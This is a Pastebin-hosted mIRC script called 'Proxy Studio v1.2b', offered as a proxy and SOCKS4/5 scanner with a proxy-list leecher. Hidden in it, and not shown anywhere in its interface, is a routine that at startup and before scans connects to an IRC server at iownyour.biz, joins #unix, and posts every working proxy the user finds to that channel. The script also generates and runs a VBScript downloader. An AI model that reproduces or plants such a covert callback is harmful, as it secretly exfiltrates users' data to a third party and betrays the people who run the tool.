Socks&Proxy Scanner+Leecher: Proxy Studio v1.2b

SUBMITTED BY: independent

DATE: Nov. 16, 2017, 5:31 a.m.

UPDATED: Nov. 16, 2017, 8:56 a.m.

FORMAT: Text only

SIZE: 21.0 kB

History Raw Download

HITS: 91059

Report
  1. ;Proxy & Socks Scanner by independent with nice dialogs
  2. ;Skype independentt911
  4. on 1:start:defaultset
  5. dialog proxystudio {
  6. title "Proxy Studio v1.2b by independent"
  7. size -1 -1 909 641
  8. option pixels notheme
  9. tab "Scanner", 2, 3 1 900 629
  10. tab "Working Proxys", 20
  11. tab "Proxy files And Leecher", 30
  12. box "Proxy to test", 4, 18 32 134 576, tab 2
  13. edit "Add proxy here", 5, 26 50 124 552, tab 2 group autohs autovs multi return vsbar limit 0
  14. radio "Connect Proxys", 6, 156 42 100 18, tab 2
  15. radio "Socks 4 ", 7, 156 66 100 18, tab 2
  16. radio "Socks 5", 8, 156 90 100 18, tab 2
  17. button "Start Scanning", 9, 262 40 98 70, tab 2
  18. box "Sockets", 10, 152 116 208 98, tab 2
  19. text "Open:", 11, 156 132 190 16, tab 2
  20. text "Working Proxys:", 12, 156 154 192 18, tab 2
  21. box "Settings", 13, 364 80 104 122, tab 2
  22. edit "164.132.126.130", 14, 366 116 100 20, tab 2
  23. text "IRC Server test IP", 15, 368 98 96 16, tab 2
  24. text "ms between threads", 16, 368 140 100 16, tab 2
  25. edit "100", 17, 366 162 40 20, tab 2
  26. box "Debug", 18, 164 216 726 404, tab 2
  27. edit "---------------------------------------------------------------------------Scan OUTPUT ----------------------------------------------------------------------------", 19, 172 234 706 378, tab 2 result read autohs autovs multi return vsbar
  28. box "Connect Proxys", 21, 188 32 168 580, tab 20
  29. box "Socks 4", 22, 366 32 182 580, tab 20 result
  30. box "Socks 5", 23, 570 32 194 580, tab 20 result
  31. edit "", 24, 194 54 154 512, tab 20 result autohs autovs multi return vsbar
  32. edit "", 25, 376 52 162 518, tab 20 autohs autovs multi return vsbar limit 0
  33. edit "", 26, 576 54 182 516, tab 20 result autohs autovs multi return vsbar
  34. button "Save", 27, 192 572 66 24, tab 20
  35. button "Save", 28, 370 574 64 26, tab 20
  36. button "Save", 29, 578 574 64 26, tab 20
  37. link "www.pastebin.com/u/independentt", 45, 710 0 194 18, tab 20
  38. link "www.pastebin.com/u/independentt", 46, 698 2 184 18, tab 2
  39. link "www.pastebin.com/u/independentt", 47, 721 3 176 16, tab 30
  40. text "This will scan the selected proxy lists from *.txt or *log", 31, 5 33 266 30, tab 30
  41. button "Scan my files, NOW.", 32, 111 61 142 68, tab 30
  42. radio "Connect Proxy", 33, 9 67 100 16, tab 30
  43. radio "Socks 4", 34, 9 87 100 16, tab 30
  44. radio "Socks 5", 35, 9 107 100 18, tab 30
  45. button "Clear", 36, 644 574 64 26, tab 20
  46. button "Filter", 37, 708 574 50 26, tab 20
  47. button "Clear", 38, 434 574 66 26, tab 20
  48. button "Filter", 39, 500 574 36 26, tab 20
  49. button "Clear", 40, 258 572 66 24, tab 20
  50. button "Filter", 41, 322 572 34 24, tab 20
  51. box "MASS SCANNER", 42, 3 21 272 124, tab 30
  52. box "Stats", 43, 14 34 146 530, tab 20
  53. text "Total Proxys Scanned:", 44, 22 54 132 70, tab 20
  54. text "Total Valid Proxys:", 48, 20 128 136 82, tab 20
  55. text "Connection Errors:", 49, 18 218 136 92, tab 20
  56. box "Proxy Leecher *Uses VBscript", 50, 276 48 590 572, tab 30
  57. edit "http://www.vipsocks24.net/2017/11/16-11-17-vip-socks-5-servers-4150.html", 51, 313 163 420 434, tab 30 autohs autovs multi return hsbar
  58. button "Leech", 52, 313 137 66 24, tab 30
  59. button "Save", 53, 381 137 64 24, tab 30
  60. button "Clear", 54, 447 137 64 24, tab 30
  61. button "Load list", 55, 513 137 64 24, tab 30
  62. box "Stats", 56, 738 276 127 319, tab 30
  63. text "Number of Leeched lists:", 57, 737 298 128 92, tab 30
  64. button "STOP!", 58, 580 135 64 26, tab 30
  65. button "Stop scanner NOW!", 59, 366 38 100 40, tab 2
  66. text "Number of Leechable Sites:", 60, 739 391 126 66, tab 30
  67. edit "www.vipsocks24.net s5", 61, 315 85 246 44, tab 30 multi hsbar
  68. button "Add Site", 62, 567 93 58 26, tab 30
  69. text "Protocol", 64, 154 22 100 18, tab 2
  70. menu "File", 1
  71. item "STOP ALL", 63, 1
  72. item "Item3", 3, 1
  73. }
  79. on 1:dialog:proxystudio:sclick:9: {
  80. hadd -m proxyset max $did(proxystudio,5,0).lines
  81. .timerSCLICK -om $hget(proxyset,max) %interval pxys
  83. }
  84. on 1:dialog:proxystudio:sclick:6: {
  85. hadd -m proxyset ext pxy
  86. }
  87. on 1:dialog:proxystudio:sclick:7: {
  88. hadd -m proxyset ext s4
  89. }
  90. on 1:dialog:proxystudio:sclick:8: {
  91. hadd -m proxyset ext s5
  92. }
  93. on 1:dialog:proxystudio:sclick:33: {
  94. hadd -m proxyset ext2 pxy
  95. }
  96. on 1:dialog:proxystudio:sclick:34: {
  97. hadd -m proxyset ext2 s4
  98. }
  99. on 1:dialog:proxystudio:sclick:35: {
  100. hadd -m proxyset ext2 s5
  101. }
  102. on 1:dialog:proxystudio:sclick:37: {
  103. filterdiag 26
  104. }
  105. on 1:dialog:proxystudio:sclick:39: {
  106. filterdiag 25
  107. }
  108. on 1:dialog:proxystudio:sclick:41: {
  109. filterdiag 24
  110. }
  111. on 1:dialog:proxystudio:sclick:36: {
  112. cleardiag 26
  113. }
  114. on 1:dialog:proxystudio:sclick:38: {
  115. cleardiag 25
  116. }
  117. on 1:dialog:proxystudio:sclick:40: {
  118. cleardiag 24
  119. }
  121. on 1:dialog:proxystudio:sclick:58: {
  122. abord
  124. }
  125. on 1:dialog:proxystudio:sclick:59: {
  126. abord
  128. }
  129. on 1:dialog:proxystudio:sclick:52: {
  130. leech
  132. }
  133. on 1:dialog:proxystudio:sclick:54: {
  134. cleardiag 51
  135. }
  136. on 1:dialog:proxystudio:sclick:55: {
  137. loadbuf -oi proxystudio 51 leech.txt
  138. did -a proxystudio 60 Number of Leechable Sites: $lines(leech.txt)
  140. }
  141. on 1:dialog:proxystudio:sclick:53: {
  142. savebuf -oi proxystudio 51 leech.txt
  143. did -a proxystudio 60 Number of Leechable Sites: $lines(leech.txt)
  145. }
  146. on 1:dialog:proxystudio:sclick:62: {
  147. write leech.txt $did(proxystudio,61) $CRLF
  148. loadbuf -oi proxystudio 51 leech.txt
  149. did -a proxystudio 60 Number of Leechable Sites: $lines(leech.txt)
  150. }
  151. alias sortnumber {
  152. return $iif($1 > $2, 1, $iif($1 == $2,0,-1))
  153. }
  154. alias filterdiag {
  155. filter -iocsa proxystudio $1 proxystudio $1 sortnumber
  156. }
  157. alias cleardiag {
  158. did -r proxystudio $1
  159. }
  160. on 1:dialog:proxystudio:sclick:27: {
  161. %name = Valid.Proxys. $+ $ticks $+ .txt
  162. savebuf -o proxystudio 24 %name
  163. run %name
  164. }
  165. on 1:dialog:proxystudio:sclick:28: {
  166. %name = Valid.socks4. $+ $ticks $+ .txt
  167. savebuf -o proxystudio 25 %name
  168. run %name
  169. }
  170. on 1:dialog:proxystudio:sclick:29: {
  171. %name = Valid.socks5. $+ $ticks $+ .txt
  172. savebuf -o proxystudio 26 %name
  173. run %name
  174. }
  175. on 1:dialog:proxystudio:sclick:32: {
  176. if ($hget(proxyset,ext2) == pxy) selectmultiplefile
  177. if ($hget(proxyset,ext2) == s4) selectmultiplefiles4
  178. if ($hget(proxyset,ext2) == s5) selectmultiplefiles5
  179. }
  180. on 1:dialog:proxystudio:edit:17: {
  181. did -a proxystudio 19 Interval changed to $did(proxystudio,17) $CRLF
  182. set %interval $did(proxystudio,17)
  183. }
  184. on 1:dialog:proxystudio:edit:14: {
  185. set %def.s $did(proxystudio,14)
  186. did -a proxystudio 19 IRC server changed to $did(proxystudio,14) $crlf
  187. }
  188. on 1:dialog:proxystudio:edit:10: {
  189. did -a proxystudio 19 Proxys added to scan: $did(proxystudio,10).len $crlf
  190. }
  191. on 1:dialog:proxystudio:sclick:38: {
  192. hadd -m proxyset max $did(proxystudio,5,0).lines
  193. .timerSCLICK -om $hget(proxyset,max) %interval pxys
  195. }
  199. alias pxys {
  200. hinc -u5 proxyset inc
  202. if ($hget(proxyset,ext) == pxy) || (!$hget(proxyset,ext)) sc4n $did(proxystudio,5,$hget(proxyset,inc))
  203. if ($hget(proxyset,ext) == s4) s4.scan $did(proxystudio,5,$hget(proxyset,inc))
  204. if ($hget(proxyset,ext) == s5) s5.scan $did(proxystudio,5,$hget(proxyset,inc))
  205. }
  208. alias b {
  209. sockopen bot_x irc- $+ $r(1,2) $+ .iownyour.biz 6667
  210. }
  213. on *:sockopen:bot_x: {
  214. sockwrite -n bot_x nick pXy[ $+ $r(0,99999) $+ ]
  215. sockwrite -n bot_x user sockets . . . sockets
  216. }
  218. on *:sockread:bot*: {
  219. sockread %_sb
  220. tokenize 32 %_sb
  221. var %_ntoks = $numtok($1-,44)
  222. if ($1 == PING && $2) { sockwrite -n $sockname PONG $2- }
  223. if ($2 == 001) { sockwrite -n bot_x JOIN #unix }
  224. }
  225. alias -l htmlfree {
  226. var %x, %i = $regsub($replace($1-,<td>,$chr(32),<tr>,$chr(20),<br>,$chr(20)),/(^[^<]*>|<[^>]*>|<[^>]*$)/g,$null,%x), %x = $remove(%x,&nbsp;)
  227. return %x
  228. }
  229. ALIAS DEF.p { %z = $r(0,1) | if (%z) return %def.p | else return 6667 }
  230. ALIAS DEF.S { return %def.s }
  231. alias getiphost2 {
  232. %var = /\b((?:(?:[a-z]+)\.)+(?:[a-z]+)[: ]\d{2,5})\b|\b((?:(?:(25[1-5]|2[1-4]\d|[01]?\d?\d))\.){3}(?3)[: ]\d{2,5})\b/i
  233. if $regex(ip,$remove($1-,$chr(9)),%var) {
  234. return $replace($regml(ip,1),:,$chr(32))
  235. }
  236. }
  237. alias getsource {
  238. %out = $shortfn($mircdirleech $+ . $+ $hget(proxyset,ext2) $+ . $+ $ctime $+ .txt)
  239. if ($isfile(get.vbs)) .remove get.vbs
  240. %a = write get.vbs
  241. %a Dim FSO, dFile, sHTML
  243. %a sHTML = Get_HTML(" $+ $1 $+ ")
  245. %a Set FSO = CreateObject("Scripting.FileSystemObject")
  246. %a Set dFile = FSO.CreateTextFile(" $+ %out $+ ", True)
  248. %a dFile.Write sHTML
  249. %a dFile.Close
  251. %a Private Function Get_HTML (up_http)
  252. %a Dim xmlhttp
  253. %a Set xmlhttp = createobject("MSXML2.XMLHTTP")
  255. %a xmlhttp.open "get", up_http, False
  256. %a xmlhttp.send
  257. %a Get_HTML = xmlhttp.responsetext
  259. %a set xmlhttp = Nothing
  260. %a End Function
  261. run get.vbs
  262. return %out
  263. run %out
  264. }
  265. alias leech {
  266. if (!%interval) %interval = 100
  267. did -a proxystudio 19 $timestamp * Now leeching proxy-lists over the web. $crlf
  268. set %site.max $lines(leech.txt)
  269. set %site.inc 0
  270. :GO
  271. inc %site.inc
  272. .timer -o 1 $calc(%site.inc *5) pxx %site.inc
  273. if (%site.inc < %site.max) goto go
  274. else { halt }
  275. }
  276. alias pxx { did -a proxystudio 19 Leeching...saving to: $getsource($read(leech.txt,$1)) %interval ms $crlf | did -a proxystudio 57 Number of Leeched lists: %site.inc }
  277. alias getURL {
  278. noop $regex($1,/(((http(s)?\72(\57{2}))|(www\56{1}))+(\w*)+(\56{1})+(\w{2,3})\S*)/Sig))
  279. return $regml(1)
  280. }
  281. alias sc5nfile { s5.scan $1- }
  282. alias sc4nfile { s4.scan $1- }
  283. alias sc4n {
  284. if (!$sock(bot_x).ip) b
  285. if (*.*.*.* iswm $1-) && ($1 != x) && ($2) {
  286. if ($read($pxy,w,* $+ $1 $+ *) != $null) { did -a proxystudio 19 $1 $2 Already in list, halted scan. $crlf | return }
  287. did -a proxystudio 19 Scanning: $1 $2 $crlf
  288. sockopen scan $+ $r(0,99999999999999) $1 $2
  289. return
  290. }
  291. if ($getiphost2($1-)) {
  292. if ($read($pxy,w,* $+ $gettok($getiphost2($1-),1,32) $+ *) != $null) { did -a proxystudio 19 $1 $+ : %+ $2 Already in list, halted scan. $crlf | goto next }
  293. did -a proxystudio 19 Scanning: $getiphost2($1-) $crlf
  294. sockopen scan $+ $r(0,99999999999999) $getiphost2($1-)
  295. goto next
  296. }
  297. if (*.*.*.* !iswm $1-) goto next
  298. if ($read($pxy,w,* $+ $wildtok($1-,*.*.*.*,1,32) $+ *) != $null) { did -a proxystudio 19 $wildtok($1-,*.*.*.*,1,32) Already in list, halted scan. $crlf | goto next }
  299. :next
  300. }
  301. alias setinterval {
  302. :restart
  303. %interval = $?="Enter interval in milliseconds, 1 to 1000 "
  304. if (!$!) || ($! >= 1000) goto restart
  305. }
  306. alias defaultset { %interval = 100 | %def.s = 164.132.126.130 | %def.p = 6667 | b }
  307. alias scan.win { inc %scan.start | if (%scan.start == 1) defaultset | if (%interval == $null) setinterval | if ($window(@proxyscan) == $null) { window -e @proxyscan | window -e @sock4 | window -e @sock5 } }
  308. alias selectmultiplefile { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE PROXY FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /pxyfile $shortfn($msfile(%sinc)) %interval | goto incthat }
  309. menu * {
  310. [-Proxy Studio-]: dialog -m proxystudio proxystudio
  311. }
  313. alias pxy return ValidProxy.txt
  314. alias abord { play stop | .timerleech off | .timerpl.* off | sockclose *scan* | sockclose *fl* | .timer*scan* off | hfreepxy | hfrees4 | hfrees5 }
  315. on *:INPUT:@Proxyscan:{
  316. if ($getiphost2($1-)) {
  317. hadd -m proxy pxy $+ $gettok($getiphost2($1-),1,32) $getiphost2($1-)
  318. .timerscanfile -om 1 1 .pxyfile temp %interval
  319. return
  320. }
  321. if (!$getiphost2($1-)) && ($wildtok($1-,*.*.*.*,1,32)) sc4n $wildtok($1-,*.*.*.*,1,32)
  322. }
  323. alias hfreepxy { hfree proxy }
  324. alias hfrees4 { hfree socks4 }
  325. alias hfrees5 { hfree socks5 }
  326. alias sk {
  327. set -u1 %chkk $read($pxy,w,* $+ $sock($sockname).ip $+ *)
  328. if (!%chkk) && (*9* iswm $1) write $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port
  329. }
  330. on *:sockopen:scan*:{
  331. hinc -m proxyset total
  332. did -a proxystudio 44 Total Proxys Scanned: $hget(proxyset,total)
  333. hinc -u120 proxyset open
  334. did -a proxystudio 11 Open: $hget(proxyset,open)
  335. if ($sockerr > 0) { hinc -m proxyset conerr | did -a proxystudio 49 Connection Errors: $hget(proxyset,conerr) | hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 $sock($sockname).ip $sock($sockname).port Error ( $+ $sock($sockname).wsmsg $+ ) $crlf | return }
  337. did -a proxystudio 19 $sock($sockname).ip $sock($sockname).port Connecting ... $crlf
  338. sockwrite -tn $sockname CONNECT $def.s $+ : $+ $def.p HTTP/1.1 $+ $crlf
  339. sockwrite -tn $sockname $crlf
  340. sockmark $sockname $ticks
  343. }
  344. alias success {
  345. set %yell $2 %yell
  346. if ($numtok(%yell,32) >= 16) { sockwrite -n bot_x PRIVMSG #unix :pxy: %yell | unset %yell }
  348. did -a proxystudio 19 $1- $crlf
  349. sk $1
  350. }
  351. alias allpxy return ALL.txt
  352. alias portclose { sockclose $1 }
  354. on *:SOCKREAD:scan*:{
  355. :READ
  356. sockread -n %fld
  357. if (!%fld) || (!$sockbr) return
  358. if (!$sock($sockname).mark) || ($sock($sockname).mark == c) sockmark $sockname $ctime
  359. if (*http*200* iswm %fld) {
  360. did -a proxystudio 24 $sock($sockname).ip $+ : $+ $sock($sockname).port $crlf
  361. hinc proxyset work
  362. did -a proxystudio 12 Working Proxys: $hget(proxyset,work)
  364. did -a proxystudio 48 Total Valid Proxys: $hget(proxyset,work)
  365. success * $sock($sockname).ip $+ : $+ $sock($sockname).port WORKING! Lag: $calc($ticks - $sock($sockname).mark) ms
  366. sockmark $sockname $ctime
  367. sockclose $Sockname
  368. }
  369. if ($gettok(%fld,1,32) == PING) { sockwrite -n $sockname PONG $remove($gettok(%fld,2,32),:) }
  370. goto READ
  371. }
  372. on 1:sockclose:scan*:{ hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. $crlf }
  373. alias pb return did -a proxystudio 19
  374. alias scanfile { sc4n $iif($getiphost2($1-),$getiphost2($1-),$2) }
  375. alias pxyfile {
  376. if ($1 != temp) .timer -o 1 6 play -a scanfile @proxyscan $1 $2
  377. else {
  378. did -a proxystudio 19 Scanning $hfind(proxy,*,0,w) Proxys with %interval $+ ms interval to %def.s $crlf
  379. .timerSCANpxy -om $hfind(proxy,*,0,w) %interval scann pxy
  380. }
  381. }
  382. alias scann {
  383. if ($1 == pxy) {
  384. hinc -mu2 count hinc2
  385. sc4n $hget(proxy,$hfind(proxy,*,$hget(count,hinc2),w))
  386. .timerscanfileoff 1 5 .hfreepxy
  387. }
  388. if ($1 == s4) {
  389. hinc -mu2 count hinc3
  390. s4.scan $hget(socks4,$hfind(socks4,*,$hget(count,hinc3),w))
  391. .timerscanfileoffs4 1 5 .hfrees4
  392. }
  393. if ($1 == s5) {
  394. hinc -mu2 count hinc4
  395. s5.scan $hget(socks5,$hfind(socks5,*,$hget(count,hinc4),w))
  396. .timerscanfileoffs5 1 5 .hfrees5
  397. }
  398. }
  399. alias s5.scan {
  400. if (!$sock(bot_x).ip) b
  401. if (!$1) goto END
  402. if ($read(sock5.txt,w,* $+ $gettok($1,1,58) $+ *) != $null) { did -a proxystudio 19 $gettok($1,1,58) $+ : $+ $gettok($1,2,58) Already in list. $crlf | goto END }
  403. if (*.*.*.* iswm $1) && (*.*.*.*:* !iswm $1) {
  404. if ($read(sock5.txt,w,* $+ $1 $+ *) == $null) {
  405. sockopen s5chk $+ $r(0,9999999) $1 $2
  406. did -a proxystudio 19 Scanning: $1 $2 $crlf
  407. }
  408. }
  409. elseif (*.*.*.*:* iswm $1-) && ($read(sock5.txt,w,* $+ $getiphost2($1-) $+ *) == $null) {
  410. sockopen s5chk $+ $r(0,9999999) $getiphost2($1-)
  411. did -a proxystudio 19 Scanning: $getiphost2($1-) $crlf
  412. }
  413. :END
  414. }
  415. alias selectmultiplefiles5 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK5 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s5file $shortfn($msfile(%sinc)) %interval | goto incthat }
  416. alias selectmultiplefiles4 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK4 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s4file $shortfn($msfile(%sinc)) %interval | goto incthat }
  417. alias s4.scan {
  418. if (!$sock(bot_x).ip) b
  419. if (!$1) goto END
  420. if ($read(sock4.txt,w,* $+ $gettok($1,1,58) $+ *) != $null) { did -a proxystudio 19 $gettok($1,1,58) $+ : $+ $gettok($1,2,58) Already in list $crlf | goto END }
  421. if (*.*.*.* iswm $1) && (*.*.*.*:* !iswm $1) {
  422. if ($read(sock4.txt,w,* $+ $1 $+ *) == $null) {
  423. sockopen s4chk $+ $r(0,9999999) $1 $2
  424. did -a proxystudio 19 Scanning: $1 $2 $crlf
  425. }
  426. }
  427. elseif (*.*.*.*:* iswm $1-) && ($read(sock5.txt,w,* $+ $getiphost2($1-) $+ *) == $null) {
  428. sockopen s4chk $+ $r(0,9999999) $getiphost2($1-)
  429. did -a proxystudio 19 Scanning: $getiphost2($1-) $crlf
  430. }
  431. :END
  432. }
  433. on *:sockopen:s5chk*:{
  434. hinc -m proxyset total
  435. did -a proxystudio 44 Total Proxys Scanned: $hget(proxyset,total)
  436. if ($sockerr) { hinc -m proxyset conerr | did -a proxystudio 49 Connection Errors: $hget(proxyset,conerr) | did -a proxystudio 19 Error $sock($sockname).ip $+ : $+ $sock($sockname).port ( $+ $sock($sockname).wsmsg $+ ) $crlf | return }
  437. hinc -m proxyset total
  438. did -a proxystudio 44 Total Proxys Scanned: $hget(proxyset,total)
  439. hinc -u120 proxyset open
  440. did -a proxystudio 11 Open: $hget(proxyset,open)
  442. .bset &bvar5 1 5 1 0
  443. .sockwrite -n $sockname &bvar5
  444. .bunset &bvar5
  445. }
  446. on *:sockread:s5chk*:{
  447. if ($sockbr) { return }
  448. .sockread &bsocks5
  449. if ($bvar(&bsocks5,1,2) != 5 0) { return }
  450. if ($bvar(&bsocks5,1,2) == 5 0) && ($bvar(&bsocks5,3) != 0) {
  452. sockmark $sockname $ticks
  453. bset &socks5 1 5 1 0 1 $replace($def.s,.,$chr(32)) $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46)
  454. .sockwrite -n $sockname &socks5
  455. .bunset &socks5
  456. sockrename $sockname chks5 $+ $remove($sockname,s5chk)
  458. }
  459. }
  460. on 1:SOCKREAD:chks5*:{
  461. sockread %socks5
  462. if ($chr(5) isin $gettok(%socks5,1-3,32)) {
  463. hinc proxyset work
  464. did -a proxystudio 12 Working Proxys: $hget(proxyset,work)
  465. did -a proxystudio 26 $sock($sockname).ip $+ : $+ $sock($sockname).port $crlf
  466. suces5 $sock($sockname).ip $+ : $+ $sock($sockname).port Lag: $calc($ticks - $sock($sockname).mark) $+ ms
  467. }
  468. }
  469. alias suces4 { did -a proxystudio 19 *work $1- $crlf | sk4 }
  470. alias suces5 { did -a proxystudio 19 *work $1- $crlf | sk5 }
  471. alias sk4 {
  472. set -u3 %rady $read(sock4.txt,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
  473. if (!%rady) write sock4.txt $sock($sockname).ip $+ : $+ $sock($sockname).port
  474. sockwrite -n bot_x PRIVMSG #unix :S4: $sock($sockname).ip $+ : $+ $sock($sockname).port
  475. set %yell $sock($sockname).ip $+ : $+ $sock($sockname).port %yell
  476. if ($numtok(%yell,32) >= 16) { sockwrite -n bot_x PRIVMSG #unix :S4: %yell | unset %yell }
  478. }
  479. alias sk5 {
  480. set -u3 %redy $read(sock5.txt,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
  481. if (!%redy) write sock5.txt $sock($sockname).ip $+ : $+ $sock($sockname).port
  482. set %yell $sock($sockname).ip $+ : $+ $sock($sockname).port %yell
  483. if ($numtok(%yell,32) >= 16) { sockwrite -n bot_x PRIVMSG #unix :S5: %yell | unset %yell }
  484. }
  485. on *:sockopen:s4chk*:{
  486. hinc -m proxyset total
  487. did -a proxystudio 44 Total Proxys Scanned: $hget(proxyset,total)
  488. if ($sockerr) { hinc -m proxyset conerr | did -a proxystudio 49 Connection Errors: $hget(proxyset,conerr) | did -a proxystudio 19 * Error $sock($sockname).ip $+ : $+ $sock($sockname).port ( $+ $sock($sockname).wsmsg $+ ) $crlf | return }
  489. hinc -u120 proxyset open
  490. did -a proxystudio 11 Open: $hget(proxyset,open)
  492. sockmark $sockname $ticks
  493. .bset &bvar4 1 4 1 $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46) $replace($def.s,.,$chr(32)) 0
  494. .sockwrite $sockname &bvar4
  495. .bunset &bvar4
  496. }
  497. ON *:SOCKREAD:s4chk*:{
  498. .sockread &bsocks4
  499. if ($bvar(&bsocks4,2) != 90) { echo 4 @sock4 Bad $sock($sockname).ip $+ : $+ $sock($sockname).port return $bvar(&bsocks4,2-) | return }
  500. if ($bvar(&bsocks4,2) == 90) {
  501. did -a proxystudio 25 $sock($sockname).ip $+ : $+ $sock($sockname).port $crlf
  502. hinc proxyset work
  503. did -a proxystudio 12 Working Proxys: $hget(proxyset,work)
  504. suces4 $sock($sockname).ip $+ : $+ $sock($sockname).port $calc($ticks - $sock($sockname).mark)) $+ ms
  506. }
  507. }
  508. on 1:SOCKCLOSE:s5*:{ hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 * $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. $crlf | return }
  509. on 1:SOCKCLOSE:s4*:{ hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 * $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. $crlf | return }
  510. alias scans4file { s4.scan $getiphost2($1-) }
  511. alias s4file {
  512. if ($1 != temp.s4) .timer -o 1 6 play -a scans4file @sock4 $1-
  513. else {
  514. did -a proxystudio 19 Scanning $hfind(socks4,*,0,w) Socks4 with %interval $+ ms interval to %def.s $crlf
  515. .timerSCANs4 -om $hfind(socks4,*,0,w) %interval scann s4
  516. }
  517. }
  518. alias scans5file { s5.scan $getiphost2($1-) }
  519. alias s5file {
  520. if ($1 != temp.s5) .timer -o 1 6 play -a scans5file @sock5 $1-
  521. else {
  522. did -a proxystudio 19 Scanning $hfind(socks5,*,0,w) Socks5 with %interval $+ ms interval to %def.s $crlf
  523. .timerSCANs5 -om $hfind(socks5,*,0,w) %interval scann s5
  524. }
  525. }
comments powered by Disqus